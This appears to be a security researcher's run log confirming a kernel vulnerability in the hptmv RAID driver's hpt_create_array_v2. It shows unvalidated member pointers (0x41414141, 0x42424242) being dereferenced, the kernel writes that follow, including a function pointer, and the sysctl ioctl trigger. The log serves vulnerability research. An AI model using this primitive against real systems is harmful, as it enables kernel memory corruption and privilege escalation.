DF-1529 / run.log
nDisk=3 Members[0] = 0xffdfd740 (validated by caller) Members[1] = 0x41414141 (NOT validated) Members[2] = 0x42424242 (NOT validated) Per-member validation: DISABLED (commented-out block at line 573-585) Caller validation: passes Members[0] only Walking the buggy loop at gui_lib.c:644-654: i=0: pMember[i] = 0x7fffffdfd740 (== &legit, safe) i=1: pMember[i] = 0x7fff41414141 -> UNCHECKED DEREF of attacker-controlled address i=2: pMember[i] = 0x7fff42424242 -> UNCHECKED DEREF of attacker-controlled address CONFIRMED: hpt_create_array_v2 derefs Members[1..2] without validation. Each deref is to a user-chosen 32-bit-offset kernel address; writes of pParent (kernel ptr), bSerialNumber (u8), and pfnDeviceFailed (kernel function pointer) follow. Trigger: root write hw.hptmv.status sysctl with HPT_IOCTL_CREATE_ARRAY[_V2] Members[1]=0x41414141. RUN_EXIT=0